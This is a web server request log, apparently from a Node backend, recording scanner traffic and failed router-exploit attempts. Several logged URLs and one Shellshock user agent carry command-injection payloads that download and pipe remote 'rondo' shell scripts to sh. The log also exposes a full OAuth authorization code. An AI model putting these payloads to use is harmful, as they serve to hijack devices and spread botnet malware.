'curl/8.14.1' - }, - requestId: 'req_1758672916011_c7nqh2ylk', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:00.522Z HTTP POST /tmUnblock.cgi - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/tmUnblock.cgi', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673260521_05a6rxtvd', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:00.628Z HTTP POST /goform/set_LimitClient_cfg - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/goform/set_LimitClient_cfg', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673260627_c0kcy65ue', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:00.847Z HTTP GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673260846_d606utzac', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:00.954Z HTTP GET /cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS} - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 4, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS}', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673260950_yic20qthn', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:01.060Z HTTP POST /apply_sec.cgi - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/apply_sec.cgi', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673261059_i0tq8luc2', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:01.271Z HTTP GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20 - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673261271_y45puzwmh', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:01.381Z HTTP POST /goform/setPingInfo - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/goform/setPingInfo', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673261379_5pfuszy7j', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:01.487Z HTTP POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4=', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673261486_atrgn8cwe', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:01.703Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/', - userAgent: '() { :; }; /bin/bash -c "(wget -qO- http://74.194.191.52/rondo.qre.sh||busybox wget -qO- http://74.194.191.52/rondo.qre.sh||curl -s http://74.194.191.52/rondo.qre.sh)|sh"& #Mozilla/5.0' - }, - requestId: 'req_1758673261702_bb15yhn40', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:01.812Z HTTP GET /HNAP1/ - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/HNAP1/', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673261811_ro2k2dt7i', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T00:21:01.919Z HTTP POST /goform/SystemCommand - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/goform/SystemCommand', - userAgent: 'Mozilla/5.0' - }, - requestId: 'req_1758673261918_6tsxmjzqu', - response: { - statusCode: 404 - } -} -ℹ️ [INFO] 2025-09-24T00:23:03.761Z HTTP HEAD /health - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/health', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758673383758_5pu41s8l6', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-24T00:23:11.385Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758673391383_4o1pvunib', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-24T00:37:01.134Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758674221133_1zkmuickb', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T01:35:04.404Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:66.132.153.119', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758677704403_wg8281c1k', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T01:35:07.592Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:66.132.153.119', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758677707591_0tpwur9kw', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T01:35:11.152Z HTTP GET /security.txt - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:66.132.153.119', - method: 'GET', - url: '/security.txt', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758677711151_w77t2e1lk', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T01:49:19.938Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:192.159.99.162', - method: 'GET', - url: '/', - userAgent: 'Hello World' - }, - requestId: 'req_1758678559938_59hyjrtqr', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T01:52:00.371Z HTTP GET /containers/json - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:47.109.48.21', - method: 'GET', - url: '/containers/json', - userAgent: 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' - }, - requestId: 'req_1758678720370_oc545zvni', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T01:59:19.030Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758679159030_ffty96alt', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T02:05:05.528Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758679505527_hmcklebri', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T02:08:42.702Z HTTP GET /aaa9 - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:146.190.166.168', - method: 'GET', - url: '/aaa9', - userAgent: 'Mozilla/5.0 zgrab/0.x' - }, - requestId: 'req_1758679722701_yfjz2jwvr', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T02:08:45.529Z HTTP GET /aab8 - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:146.190.166.168', - method: 'GET', - url: '/aab8', - userAgent: 'Mozilla/5.0 zgrab/0.x' - }, - requestId: 'req_1758679725528_cwgshke5v', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T02:08:48.595Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:146.190.166.168', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 zgrab/0.x' - }, - requestId: 'req_1758679728594_hnxawxb2c', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '3.134.148.59', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T02:45:59.491Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' - }, - requestId: 'req_1758681959490_1o2my643u' -} -❌ [ERROR] 2025-09-24T02:45:59.492Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' - }, - requestId: 'req_1758681959490_1o2my643u', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-24T02:59:40.008Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:192.159.99.180', - method: 'GET', - url: '/', - userAgent: 'Hello World' - }, - requestId: 'req_1758682780007_dkdnbw4fa', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T03:13:26.697Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758683606697_ug5berjzi', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T03:16:44.034Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:64.62.197.212', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15' - }, - requestId: 'req_1758683804034_ps0rq6szr', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T03:17:29.178Z HTTP GET /favicon.ico - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:64.62.197.221', - method: 'GET', - url: '/favicon.ico', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41' - }, - requestId: 'req_1758683849177_1n5kqvz05', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T03:17:41.683Z HTTP GET http://api.ipify.org/?format=json - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:64.62.197.217', - method: 'GET', - url: 'http://api.ipify.org/?format=json', - userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0' - }, - requestId: 'req_1758683861683_8h7f88xsx', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T03:18:02.872Z HTTP GET /geoserver/web/ - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:64.62.197.212', - method: 'GET', - url: '/geoserver/web/', - userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0' - }, - requestId: 'req_1758683882871_ap5rp2owj', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T03:29:41.854Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758684581853_ofbcw6dyg', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T03:56:17.922Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:89.248.173.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0' - }, - requestId: 'req_1758686177921_fyok9nb8x', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T04:26:12.085Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:198.235.24.166', - method: 'GET', - url: '/', - userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' - }, - requestId: 'req_1758687972085_p8rq0fm2d', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T04:35:06.750Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758688506749_cq6c8xo7z', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T04:50:08.550Z HTTP GET /?XDEBUG_SESSION_START=phpstorm - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:79.124.58.198', - method: 'GET', - url: '/?XDEBUG_SESSION_START=phpstorm', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36' - }, - requestId: 'req_1758689408550_4k3lfd48e', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T05:18:17.212Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:94.102.49.193', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' - }, - requestId: 'req_1758691097211_evucpo9af', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T05:18:17.614Z HTTP GET /Synchronization - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:194.165.16.71', - method: 'GET', - url: '/Synchronization', - userAgent: 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36' - }, - requestId: 'req_1758691097613_92bv1u3cn', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T05:18:17.908Z HTTP GET /favicon.ico - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:94.102.49.193', - method: 'GET', - url: '/favicon.ico', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36' - }, - requestId: 'req_1758691097907_s9ugl8rjz', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T05:18:20.524Z HTTP GET /global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:194.165.16.71', - method: 'GET', - url: '/global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1' - }, - requestId: 'req_1758691100523_0a8anvehf', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T05:18:20.595Z HTTP POST /ssl-vpn/hipreport.esp - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:194.165.16.71', - method: 'POST', - url: '/ssl-vpn/hipreport.esp', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF' - }, - requestId: 'req_1758691100594_jgdg08tsf', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T05:18:20.667Z HTTP GET /global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:194.165.16.71', - method: 'GET', - url: '/global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15' - }, - requestId: 'req_1758691100666_42j63uhcb', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T05:25:48.193Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758691548193_6pbd2yw4k', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T05:30:33.895Z HTTP GET /actuator/gateway/routes - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:79.124.58.198', - method: 'GET', - url: '/actuator/gateway/routes', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36' - }, - requestId: 'req_1758691833894_r04erovsy', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.167.54.180', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T05:34:07.497Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758692047496_vak5rh1vz' -} -❌ [ERROR] 2025-09-24T05:34:07.497Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758692047496_vak5rh1vz', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-24T05:57:09.221Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758693429220_xw7bgj9vb', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T06:07:12.406Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:20.64.105.152', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 zgrab/0.x' - }, - requestId: 'req_1758694032405_dmir7w6bn', - response: { - statusCode: 404 - } -} -ℹ️ [INFO] 2025-09-24T06:38:45.315Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758695925313_1fn2ukajj', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-24T07:08:04.953Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758697684953_uttbob2g5', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T07:09:51.934Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:185.247.137.226', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)' - }, - requestId: 'req_1758697791933_fmv9sf1lr', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T07:20:32.235Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758698432234_s7ma20vtz', - response: { - statusCode: 404 - } -} -ℹ️ [INFO] 2025-09-24T07:56:25.044Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 33, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758700584997_3e887tqnw', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-24T07:56:37.062Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758700597055_62p0wcdp4', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-24T07:58:27.904Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758700707902_yoymeaswn', - response: { - statusCode: 200 - } -} -[IdNotCallback] incoming request { - originalUrl: 